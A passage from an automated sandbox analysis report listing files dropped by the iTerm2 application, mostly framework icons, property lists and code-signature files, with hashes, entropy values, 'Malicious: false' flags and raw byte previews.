Preview:	MM.*...R.. P8$....BaP.d6...DbP!....i..`.....b..18........ .:.......$6L..N.@...._..@..........P.x.h.>..P.h.L.-i0.3..$..@..x.3[.I...I...7..V.=..l..@.......A...=..~.``.8N....b..\|m.....1...#3...s.......g.Z...Y......F.i....0(.v?!.....d..0.M5sy..w=..(TJ5#J..S..(%R.X.u...E..P...v.}....g0.L.....d~.O.c....;F.1O....P2..>.......%....-....5.............................................................................................d...........................................................I...........T...........\.............(...........1...........=...........R...........S...........s..............................VerticalSpacingIcon@2x.png..tiffutil v325.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile..................................................................................mluc............skSK........da

/Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Versions/A/_CodeSignature/CodeResources Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	3674
Entropy (8bit):	5.152444729186023
Encrypted:	false
SSDEEP:	96:Cy+BUYwNFgsTIHvYP3ZkYT2BLDzFNQpO/YTbJvy:XQEIQEDzko
MD5:	A0E92A5B127877C1258BEC1BAAF9B594
SHA1:	7D0CFFFF95D2E6CE30B9D2B909AF24FBBC61936B
SHA-256:	7463041EB6B2DACE14946B7F80C213766444CB159536C35C2A7F57EA9A06473E
SHA-512:	9E0982CC67C29A85A6BFE08E5B77B449C096EA06C483CD55F5B963A0D922C8568F6CA02E5891D94DF8C4067ED7C2D3064DB20EE92123363082FC24AAD97D4D76
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>files</key>..<dict>...<key>Resources/EmptyStar.tiff</key>...<data>.../T/9zzYLVHXF/EmBQAOAcesEIy8=...</data>...<key>Resources/FilledStar.tiff</key>...<data>...zxfDoB+hUN2L9C3IuCzq6g1VV2w=...</data>...<key>Resources/HorizontalSpacingIcon.tiff</key>...<data>...L4DayHZK9MceF71PA8NFBYu9oyM=...</data>...<key>Resources/Info.plist</key>...<data>...99SopGFo+3yIgB+IlIQw7cQSnIM=...</data>...<key>Resources/MainViewController.nib</key>...<data>...aZVKXpeRlQpFlvCNghQqNzY5YAU=...</data>...<key>Resources/VerticalSpacingIcon.tiff</key>...<data>...YTjXacq1k4kh8gxvLrK45Tc4SoA=...</data>..</dict>..<key>files2</key>..<dict>...<key>Resources/EmptyStar.tiff</key>...<dict>....<key>hash2</key>....<data>....M10RF4bxyL1xcteCNLYKjoqjc19HM7K/BN8wZ4+XFq0=....</data>...</dict>...<key>Resources/FilledStar.tiff</key>...<dict>....<key>hash2</key

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/ColorPicker Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O fat file with 2 architectures
Category:	dropped
Size (bytes):	763472
Entropy (8bit):	5.5874957939883005
Encrypted:	false
SSDEEP:	6144:gboR6I1e8b7zU+V3/V/4wmiVjqLZJJq2KLBtVhJ5jrmTJ5jrS01H33Sxtzyv2a2c:R6I1eunVkWAHnSS+rsGs
MD5:	D4BCAA9EB7EC96BC1A2B0DEBB0047088
SHA1:	4D0B79A2998BA179DEE2FC99BB65C4A4E8D75F7F
SHA-256:	251D2A5C4642812F71157BBC810796EBE409B65A85B6C85FA4926D3E2421A520
SHA-512:	20C69DDE9DBAABA4DC720C1D42BADC98B08D968B58D30ED6DD0726F58465DAE5434F4FEBCE0E64CA8BEA4B4F22E5FD92D6D9193B367113EE3712EA2A414D6DB3
Malicious:	false
Reputation:	low
Preview:	..................@........................P............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/ActiveEscapeHatch.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	9050
Entropy (8bit):	6.681675791451581
Encrypted:	false
SSDEEP:	96:oxfcg71hWKVYPjxTK6MT0D5MdtbZPAVwzVmsawJJQJjSYMbEN26MT0D5MdtbZPAf:oxfMjRUYNMtKwtaaJgjSYsYNMtKwy
MD5:	59F72532E93D7B9377BA09A613196D43
SHA1:	0D4AD1C798118BB3B0A08D58C23818891B2D2B2B
SHA-256:	396F9358E0A38A454E1690F7B914EC4A29C22E11F51EA4C1DBFC2BAD33CEA5E1
SHA-512:	79D511DBC8855A1569D5B734079F81841993BE0A31BF77846D58F13E9CED7AB729F18875DBFA7EECAFFF4A9124D5047211E6972839912E694AF10160420B77E0
Malicious:	false
Reputation:	low
Preview:	MM....... P8$....BaP3....N..q8IT$+t?.-......@..r....((.2.)t..O.B.@....R..PP...`Q-.F'IH,$.@...s.<......L...P.j5:...Y..+.:.j.R.X..[...l..-..E..k.Y..+U..v..m...&.F.Uit.\|]0.Ug....-...@.......................................................................................................................................................................................(...........1...........=...........R...........S...........s.................H.......H....ActiveEscapeHatch.png.tiffutil v326.1.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile..................................................................................mluc............skSK........daDK...:....caES...8....viVN...@...$ptBR...J...dukUA...,....frFU...>....huHU...4....zhTW.......LkoKR..."...fnbNO...:....csCZ...(....heIL...$....roRO...*....deDE..

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/ActiveEyedropper.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	9824
Entropy (8bit):	6.7748722527729495
Encrypted:	false
SSDEEP:	96:ZlvUBcEXenUvxOHN26MT0D5MdtbZPAVwzVNvEAco5Pj21hWKVYPjxTK6MT0D5MdW:ORunUvxDYNMtKwbMAcGPWMjRUYNMtKwy
MD5:	7D143D5C40DECBB62651CA2A7AEC1977
SHA1:	7E06A9D110FC306FC6A313D38C4DB04E84C0ACD9
SHA-256:	1D33FEC21BDBB73BE8F5AC12F48E9DCF3F249FF7D02B046D5DD15E5830D3A072
SHA-512:	08EFBA14160931266A4919AE290E93B6DE58194F323C935CE4EA83AE78EDFFF1B8B8CAB26157FA82183488F33B9EF10A749419E9F583365147530B79DC75CCF5
Malicious:	false
Reputation:	low
Preview:	MM....... P8 .....@0......A.X.V-..FcQ..n..zDZ....L......`d./R.H1...m7.Nb....\|\8.\.8<!y.!.)O..4....%.y.V.W... ..t...?..0.}.&5...c4E3J.?..0...X.^oQ......X...:_.....X.._.{.drQWNT...A.V..D.:.T..=&..Z.1.@......@.;=6..]xe.!M..M....P]~......SW/4.....]8-.h.".g<%.....r9~8.5.....Q..c.4.w..O..s...?@.....@......$....H.V....../k.".o........?.L<.......@.W....T..qk\|."....6P.6..1.tkF.......t..H.h....2II...'.H(.)............2..(.m1....(.`0.,M..77...g/F..................7N...#N.D.;..U......~..0.K..u4.......4b.v...KS....U...\.<A.d.....Q U!.SU.y..1aP.5...1c........Z)..:q"..MAE.U.xR.5.......4.....I...e..}...W.8.....(.U=._X.e.8\r.-s.....[I.....v.y.O.n..5..o.........^d..N...vM.^..B..../.\W&9.d...........~\|....9......e...E4.m.~.X.d...&?.......z..<...u...PA...F....m...u..f8...k....k..E.Z....e.......k..Z..\ \..k.u-.......j..m..v..."..Ul#.%..s[.9.s.oE....M/..V.pp..;....G..=...U...Oy..Y.q<...x]...x.b5........O..(#....[...o..k....(~..g..!`.!...o.....t-..>...\.p C....#.....pN.>.b........8",%!...p....L...?k..SB.

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/Add.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	8600
Entropy (8bit):	6.600414006844627
Encrypted:	false
SSDEEP:	96:JiWFpgL6N26MT0D5MdtbZPAVwzVVgvav1hWKVYPjxTK6MT0D5MdtbZPAVwzV0:cwpmYNMtKw71tMjRUYNMtKwy
MD5:	C5CF01F35FE90438B1A13CA5031FDBF1
SHA1:	A6477B9ACAC482B5A869A9E3FC910D38E5C81065
SHA-256:	549F1EDA716EAB026392244CC0E81E528CA43DD8A4347C2F0EAF075A34D94586
SHA-512:	E81C06E527A64330755189B2F21631C9F22C68443F62DDF67F3DB6B711981CFDC949EB936F34E1F6CEB948EAABB1B569006739A08DC4FEB93F430363256FC912
Malicious:	false
Reputation:	low
Preview:	MM.*...... P8$....BaP.d6...DbQ8.V-..FcQ..v=..HdR9$.M'.JeR.d../...30..m7.K...\.C5.Pe.....G........O......V?R......b.Z.Xb..M6.g..!.kE..j..-.8M..r.^`.h-...._...M..%.I.8x.&K..F...^@...V....W7`....M..GN..t.......W5{......T6{......Q.\|.'....ry\.g6G............(...........(...........................................................................................................(...................................................(...........1......... .=...........R...........S...........s.....H...0....................................Add@2x.png..tiffutil v326.1....HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC619

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/EscapeHatch.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	8736
Entropy (8bit):	6.63153446186885
Encrypted:	false
SSDEEP:	96:m6gfGsMofxsQEN26MT0D5MdtbZPAVwzVoQE471hWKVYPjxTK6MT0D5MdtbZPAVwy:westxDYNMtKwDJMjRUYNMtKwy
MD5:	6C7F05AE9CD5ED43EFD699E610CA8CD9
SHA1:	34880315F6021EE3B2A11D780505AE00F18F6506
SHA-256:	773B7BC3055645C1047365DD46A64AB6CCDC576D9775DA25B122B2263B359252
SHA-512:	60470FA4B2F371C71D1F097DB37054D127656A637F5A941A57E6FB4C30D49322CDE1B77B397AF9CEE4B43E0A88A218DC661EFAE47AA5865A7288921A83641B4A
Malicious:	false
Reputation:	low
Preview:	MM.*...R.. P8$....BaP.d6...DbQ8.V-..FcQ..v=..HdR9$..'..eQ....+........-P.......8.N...%....@..x.&...C...]F7S...5..j5\...V.../g.X...e..j.[.vt......m..-v..._.x.........K...y.....F..J.Y..P.C....1....AT....[.....fq....Wj.f..X.....g.Y.......x........u.._+...u..~Gr...x(...k+....~....6.....N.....z./....?K...2n........@....?.......)....5...................(...........(.............d...............................................t.............................................(.............I...........T...........\.............(...........1...........=...........R...........S.........l.s.....H.......R................................EscapeHatch@2x.png..tiffutil v326.1....HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/Eyedropper.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10468
Entropy (8bit):	6.453499144636839
Encrypted:	false
SSDEEP:	96:RYGIPHtI1hWKVYPjxTK6MT0D5MdtbZPAVwzVM7qntPOrs1hWKVYPjxTK6MT0D5Mg:RYFCMjRUYNMtKwyoPpMjRUYNMtKwy
MD5:	F8CAA248A69F28D4456C229C2BFE1A84
SHA1:	5C21BBA079733E6AF01F36CC9B1B42B7589031B2
SHA-256:	424CC52F481CBFA9F476AB2050BC7ACAC2774311C94A748A0105DF35F469C265
SHA-512:	59DC06A5CE12AA06F83514D0CC4D5CC80FFABFF74B054BD48ACD23411777AA32AB7BF55E52486D40F255563A10C46E3A8A9AD8F6882AF9A51BC4D23A009BE425
Malicious:	false
Reputation:	low
Preview:	MM....<.. P8$....BaP.d6...DbQ8.V-..FcQ..v=..B....d..Q,d2..tn.\...4...,....(......&.y.4...&.. ...m[.K.......O..)...G...#.#.n.Q.........%5.1yJ.-[.S..=.{Q!..R......"/...F..............e.'#.$.....'/~~..y...X.f...{s..aQ(u.r............>..Th...{.....b.%O..^....G....1.2j.....1P;.mDf..z>O4.B.l...h..B.....{<...I.#h.~...........G.x{..../A.Q.........#.U...+..047.....(.E..I..`._..DQ.7..-.CL.a.F....Er$]#A1.g..h.......J........KR.......2C.4... ..0I...$..YZ..G.\|{..P.6JS....I...`.NvN.,.<.....@..P....3.. .q....2.d.f..d..5RU.CQ$.2zj. ...V5../.@...'...0.m.\|... >....ERYv..k...0.............(...........(.............................................................N.............................................(.............4...........>...........F.............(...........1.........`.=...........R...........S...........s.........p....................Eyedropper@2x.png.tiffutil v326.1.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl....................................

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/HSB.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10506
Entropy (8bit):	7.185099538904573
Encrypted:	false
SSDEEP:	192:xSjfVBo0Qn3lAqkYNMtKwuhI7QGgXYYNMtKwy:xYf4Vn1AqkYNg7uhIYXYYNg7y
MD5:	906DF7C1D1017EC185029A05989F85FA
SHA1:	DA0AF4DF4CFD37E82DB32FC1C302265CC10EDC88
SHA-256:	810DD6E18347D1DFA473F86FBEFE8CC0403795484622D15A8C55F4A196E3F132
SHA-512:	D74B70C38E927135F9B97ACAE54D0D4B31042E749BE52E5AA3295082A94FF06712D7FA6F1965472CF74F3B73F5CB09DE2540163197917C1270BE0BFB0F44F62C
Malicious:	false
Reputation:	low
Preview:	MM....n.?.@.$....BaP.d6...DbQ84....FcQ..v...HdR9$nA%.JeRY<.]/.C.....a3.NgR)........1...P.....-2...9.....EWcE...L.hA....3u..F..b........_..[.....@.@.....:........E.Qdk..._.n......)..H.(tP........P.x....8...x...H-.......G.<..l.B`....... .....qQ.U.\.z......c.i....@"..........K...~.]......yA_0@-l........M..~....k. ..T....r..J.C....-ib.....N............ ............}....u ...}Fq.....9..............C.R..!.b......0...$n.2/..+......%.. ....P....0.....~t...Z.....\|.,....H.........X...`4..N`.Z~.'.hx....P...........E`P\|....z.......H.............S..q....>..)....I..Q.R.k .U..5.E...(.O.a1.a.........Q.h............~.@..w. ..[......7.....T........o..e.......".a....#.KX.k...../..........F.E...1.p..3"_.h...;#....!.............0.`...`B... Kq.....\|Y...m7......Y.... ....X...8L.[..h...@SJj....a.g.........h:..(g8.\|.@.\q.....k.KU.tz....z.#..kx.}....l ....>......H..d.........a.=.:..y........'8.uC1B.F"...2....a..b...@v ....<.j.CC...o...K....@P.~@.....y.R.{....c...e..@cx....AGN.O..e......6_P.......H(F!.{..0B.

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/Info.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.153955076379431
Encrypted:	false
SSDEEP:	24:2dfyiwB1dw6wFGMa6242Rw0gp/sH2PgcjeehG7MeGFO/fl+l:cfyfzQFGc2jO0giH2IcSsG7vGFOV+l
MD5:	FE49F627E6972BB9039D61B1CC306890
SHA1:	55515713180B32FDC5FE8499DB215706DEFC4B5D
SHA-256:	DB6BF7C68B621D50FF7A880E6E928931EB0966255289E31B957E4F64159F9F42
SHA-512:	4960FF3CB9A90E866E3AF8EBF08F3474E94C21D9B9792DE7D57BA1DCBF5D61CE9989E52AF4847458C9273A926045B843EE1325CCBEF70A453EEEBF0BF8D93832
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>BuildMachineOSBuild</key>..<string>20E241</string>..<key>CFBundleDevelopmentRegion</key>..<string>en</string>..<key>CFBundleExecutable</key>..<string>ColorPicker</string>..<key>CFBundleIdentifier</key>..<string>com.googlecode.iterm2.ColorPicker</string>..<key>CFBundleInfoDictionaryVersion</key>..<string>6.0</string>..<key>CFBundleName</key>..<string>ColorPicker</string>..<key>CFBundlePackageType</key>..<string>FMWK</string>..<key>CFBundleShortVersionString</key>..<string>1.0</string>..<key>CFBundleSignature</key>..<string>????</string>..<key>CFBundleSupportedPlatforms</key>..<array>...<string>MacOSX</string>..</array>..<key>CFBundleVersion</key>..<string>1</string>..<key>DTCompiler</key>..<string>com.apple.compilers.llvm.clang.1_0</string>..<key>DTPlatformBuild</key>..<string>12D4e</string>..<key>DTPlatformName<

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/NoColor.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	8894
Entropy (8bit):	6.666194343751455
Encrypted:	false
SSDEEP:	96:4cUmYTq1hWKVYPjxTK6MT0D5MdtbZPAVwzVA7DuP+bVN26MT0D5MdtbZPAVwzV0:imvMjRUYNMtKw27DuP+AYNMtKwy
MD5:	4E8EFF453139CD2954CB870A48523667
SHA1:	C05DDB4DEB35E6448821ED141D618CAE05A816C9
SHA-256:	7A2D61EE9E57AF9B6F81E96DE48A8B6DD5B6578A745C5A68C045C72DE8953AF8
SHA-512:	57FAFD03D3D1B48A8D6C3AEF18143E5F41903CD09B176E038E3668DA010243DE6AA3316B1532FEA39CE02318139134FAB097E1C4740515D86C7C55E6F563C91F
Malicious:	false
Reputation:	low
Preview:	MM....... P8$....BaP.d6...Da...J.......k...`.......@..c....3...G..\.&..L'....?6..a..$.U?...s.5.kK.A..zu".S.R..:<..X.S!uZ...f...6.%..\.....=.!F....x.Z.{.`pP.........................................................................................................................................................................................(...........1...........=...........R...........S...........s.............4...H.......H....NoColor.png.tiffutil v326.1.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile..................................................................................mluc............skSK........daDK...:....caES...8....viVN...@...$ptBR...J...dukUA...,....frFU...>....huHU...4....zhTW.......LkoKR..."...fnbNO...:....csCZ...(....heIL...$....roRO.......deDE...N...8itIT...N....svSE...8....zhCN

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/RGB.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	9094
Entropy (8bit):	7.0775346219049124
Encrypted:	false
SSDEEP:	192:C4mpp7f3kRYNMtKwpwTFgS/sSqp/YNMtKwy:C4Q7fURYNg7+TeSHq1YNg7y
MD5:	DD280DA031409394972FBE0DDF75EDE9
SHA1:	CA4476CAF652A6E6EAA137872A4EFB46F55269D7
SHA-256:	863DBAE32C5FDE56F626EBB2CABD47D76D143A6ECD9DDE3AAE629583769B9A91
SHA-512:	127109AC03B14105F809BFD8363FE9E5967FF4552467C2D5B6A92BF6167142DAB5EF74F54D8A61AE4E7A57E621461E8E264F589B1F1434809AF5F5852373B56F
Malicious:	false
Reputation:	low
Preview:	MM....... P8$....BaP.d6...DbQ8.V-./FC.1..g.f...)#.../F.Q..~.!.H..p...[4........x...@K...{.DB ..T;?. ....GK..c...........LD....KS..L.K..%.....^$...P. ..._.`....s....`Y....Q&...<..J....I.Sh4..F..V.b.. .C......@...j..(..2....W..A.....h..`.....1...P89.........O.A'T.C.....D.H.@...%...P.......h............:.s5`..I A.Fg.........z.......!r.!.....n....f..p..q.........b........g......\|..'...... ..A.....i.....V..h2l....vH.k... g"....1.y. ..z......((.~...L.F......xJ"......K..%..............r....w.@.^uS...4.......h....(M=.f)........#S.............Zh..F `~.FpR...:.+....y..0Gi @qp...@.`.v......6w......nz&..@!..."aNR.%X.s!.N......\|.Ba.#.G................:Q............f{.F.L~..l(...H&}.f b~.g....y.....@....:.....r` o~....:........................................................................................................................................................................................(...........1...........=...........R...........S...........s.....H...........H.......H..........

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/Remove.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	8496
Entropy (8bit):	6.572960584463101
Encrypted:	false
SSDEEP:	96:HDw1hWKVYPjxTK6MT0D5MdtbZPAVwzVORS3N26MT0D5MdtbZPAVwzV0:H8MjRUYNMtKwER3YNMtKwy
MD5:	1FA41F4CD3F07287752D71B2B4269B69
SHA1:	05575B1B2F6486574FAD91C8E15D713DA57E1950
SHA-256:	FA6612F8F737B32ECBF4BFFE7B62307B01B2516CABFCD43E45597E93721675E0
SHA-512:	EE8403F5BB67A40C73B0B7AFEEB2D57FDD2E3EF5D82DECF66C1A6657C9E047366ECBC6CAFFEA43608BDFC6622399999ED9089581CEA05BD67D69A61EF27DFD1C
Malicious:	false
Reputation:	low
Preview:	MM....B.. P8$....BaP.d6...DbQ8.V-..FcQ...,.......nM'.JeR.d.]/..@......................................................................................T...........................................................9...........D...........L.............(...........1.........`.=...........R...........S...........s.........p.......H.......H....Remove.png..tiffutil v326.1.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile..................................................................................mluc............skSK........daDK...:....caES...8....viVN...@...$ptBR...J...dukUA...,....frFU...>....huHU...4....zhTW.......LkoKR..."...fnbNO...:....csCZ...(....heIL...$....roRO.......deDE...N...8itIT...N....svSE...8....zhCN........jaJP...&...&elGR...*...LptPO...R...vnlNL...@....esES...L....thTH...2...TtrTR...$....

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/SelectedColorIndicator.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10228
Entropy (8bit):	6.390837013808696
Encrypted:	false
SSDEEP:	96:Gdse6dgQ89Fz1hWKVYPjxTK6MT0D5MdtbZPAVwzVlXi1hWKVYPjxTK6MT0D5Mdtw:Gqe6dgQsRMjRUYNMtKwXWMjRUYNMtKwy
MD5:	2C9BAB9F19ADA5A719CF62A9CB49E61D
SHA1:	EB3D1893E12FFE7441AD76279C9D04EBD0B657BB
SHA-256:	ECB40F9E17CBDCE4B2256A2E7EF8BB3FD534A6E5F7CFAAAEB8301E7F9F6C3243
SHA-512:	617F6711419D55EF232C9A1D62019F629C4416FD85F8F19A69D6C7A09EACCA2E22011FDC0A61A213D7B4030BCC7F525B6DE678781343F595D49CC08097726D07
Malicious:	false
Reputation:	low
Preview:	MM....... P8$....Ba.0.\.>...nP...../aP.(.6...........C....D..L.H..\H..r...q....w.....p......P..9.~9.n...........)R0.._.7.,.....'P....+...!...^K...s...>...d.......!.\|..D...RU3..@....(V.........\|..l.....(N.'..r..4..z.B.p.d.(.............G.d...=. ......q8..G+...t..n..S....;9K.m..o7...L....sx8N{@..M"<.4..../....3.+...,[............,.2..-Kb...J.....@".).r........B .%...#. Rl.'I....jD....h.$..h...r ....,.B.\|.-. ........................................................................................................................................................................................(...........1...........=...........R...........S...........s..............................SelectedColorIndicator@2x.png.tiffutil v326.1.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile................................

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/SelectionIndicator.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	9954
Entropy (8bit):	6.336684279506554
Encrypted:	false
SSDEEP:	96:WD/1dC1hWKVYPjxTK6MT0D5MdtbZPAVwzVxCqY1hWKVYPjxTK6MT0D5MdtbZPAVJ:4yMjRUYNMtKwnCvMjRUYNMtKwy
MD5:	A738355045F4D09D109033277D4BF6A0
SHA1:	3709349197566E74B1FFAEBCAAE1F5152518BC43
SHA-256:	4A0A3016137366BFC53DBBA45033D17B48265C2B834425BD7FA9FFDDF90377DF
SHA-512:	97A373F1C284462716AD8FD5B4FF2E81D05616A2D28C6E45F61FF0D148EEE9D77B4D7B8D7B6A8B23871AD5ACE823E774A1A896903BF8EBA7BD6A84EAACA0D2E2
Malicious:	false
Reputation:	low
Preview:	MM....f.. P8$..... j.D.4@l...p...../..8..z."CM.......!. ...F?j.A.d;..,.7@. ..6.A...[).9...Hy4^P.<.@......................................................................................x...........................................................]...........h...........p.............(...........1...........=...........R...........S...........s.................H.......H....SelectionIndicator.png..tiffutil v326.1.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile..................................................................................mluc............skSK........daDK...:....caES...8....viVN...@...$ptBR...J...dukUA...,....frFU...>....huHU...4....zhTW.......LkoKR..."...fnbNO...:....csCZ...(....heIL...$....roRO.......deDE...N...8itIT...N....svSE...8....zhCN........jaJP...&...&elGR......LptPO...R...v

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/SwatchCheckerboard.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	9972
Entropy (8bit):	5.833124693811741
Encrypted:	false
SSDEEP:	96:CUg9N26MT0D5MdtbZPAVwzVxGyg1hWKVYPjxTK6MT0D5MdtbZPAVwzV0:CUzYNMtKwj2MjRUYNMtKwy
MD5:	FF1B456E1946B1D0F2954C30FCCA2FC9
SHA1:	461B9E8D6F72AA72A654734AD77795AC0AEFC456
SHA-256:	6A91BD4248719A7B577D969B83EE61B011238140281801E8A47A89FD88A2D0C0
SHA-512:	149AD0B76A57C8E47387423FA7676F9B40EFC827C0F39D33BB4C94B5D5DA3CF1F7FA3E1F5E90F17B29F2DB778939E1B327DE1FE9ACFE9E8ABC67E1A1CC2703A2
Malicious:	false
Reputation:	low
Preview:	MM....j.. P8$....Ba@.<......P(.N...B....r/..F..9...&.. .Y........9.Jg....S...e>.P'P..j.=...4.]..E.M...L.......................................................................................\|...........................................................a...........l...........t.............(...........1...........=...........@.........\|.S...........s.....H...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/colors.txt Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII text
Category:	dropped
Size (bytes):	31146
Entropy (8bit):	5.388231700981624
Encrypted:	false
SSDEEP:	384:mZmaPKdGQph5z4dzM6AgwWpLnakXALknjz7q1iQgKsgVmCHiTW2qlwcR0lrjwysJ:EYN4i6XpLdHP7YNj+eGm0ltsxv4inse
MD5:	FEF56E600A3F5BF4A6E3A39FDB325883
SHA1:	F1F3B75B12AA0434DFF4554988CEBA95402F3983
SHA-256:	9323A31BF1E79915DA024357E0822B0CFE4FAE0DA8252FCCD5511E09E6210C9C
SHA-512:	06B1CB9D195F7A2374BFC67D88024A6B5662F2331D6D8C8EDFDE0BE221ADE0F43A35DC03FC7AD437D05EFF66EA861C1FC1164F5BB2DC63523354318BACBA0CF0
Malicious:	false
Reputation:	low
Preview:	# This file derived from http://chir.ag/projects/ntc/ntc.js, by Chirag Mehta.# Creative Commons License: Attribution 2.5 http://creativecommons.org/licenses/by/2.5/..000000,Black.000080,Navy Blue.0000C8,Dark Blue.0000FF,Blue.000741,Stratos.001B1C,Swamp.002387,Resolution Blue.002900,Deep Fir.002E20,Burnham.002FA7,International Klein Blue.003153,Prussian Blue.003366,Midnight Blue.003399,Smalt.003532,Deep Teal.003E40,Cyprus.004620,Kaitoke Green.0047AB,Cobalt.004816,Crusoe.004950,Sherpa Blue.0056A7,Endeavour.00581A,Camarone.0066CC,Science Blue.0066FF,Blue Ribbon.00755E,Tropical Rain Forest.0076A3,Allports.007BA7,Deep Cerulean.007EC7,Lochmara.007FFF,Azure Radiance.008080,Teal.0095B6,Bondi Blue.009DC4,Pacific Blue.00A693,Persian Green.00A86B,Jade.00CC99,Caribbean Green.00CCCC,Robin's Egg Blue.00FF00,Green.00FF7F,Spring Green.00FFFF,Cyan.010101,0.4% Gray.010D1A,Blue Charcoal.011635,Midnight.011D13,Holly.012731,Daintree.01361C,Cardin Green.01371A,County Green.013E62,Astronaut Blue.013F6A,Regal

/Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/_CodeSignature/CodeResources Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	5528
Entropy (8bit):	5.225202008977774
Encrypted:	false
SSDEEP:	96:Cyn2/Per2zOUuf86irY3Kvc82mpKhT21uyx9mZEO/G/kYT2BLDzFNQpO/YTbJvy:XYTY09XezgEDzko
